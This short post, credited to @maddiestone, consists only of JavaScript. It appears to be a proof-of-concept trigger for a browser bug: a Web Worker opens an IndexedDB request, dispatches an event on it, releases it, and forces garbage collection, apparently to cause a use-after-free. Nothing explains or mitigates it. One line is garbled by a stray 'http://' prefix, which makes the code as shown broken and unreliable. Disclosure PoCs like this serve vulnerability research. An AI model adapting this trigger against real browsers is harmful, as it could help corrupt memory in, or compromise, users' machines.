By @maddiestone:
index.html:
<script>w = new Worker('idbworker.js');</script>
idbworker.js:
function gc() {
for (var i = 0; i < 1000; i++) { a = new Uint8Array(1024*1024); }
}
let ev = new Event('mine');
let req = http://indexedDB.open('db');
req.dispatchEvent(ev);
req = 0;
ev = 0;
gc();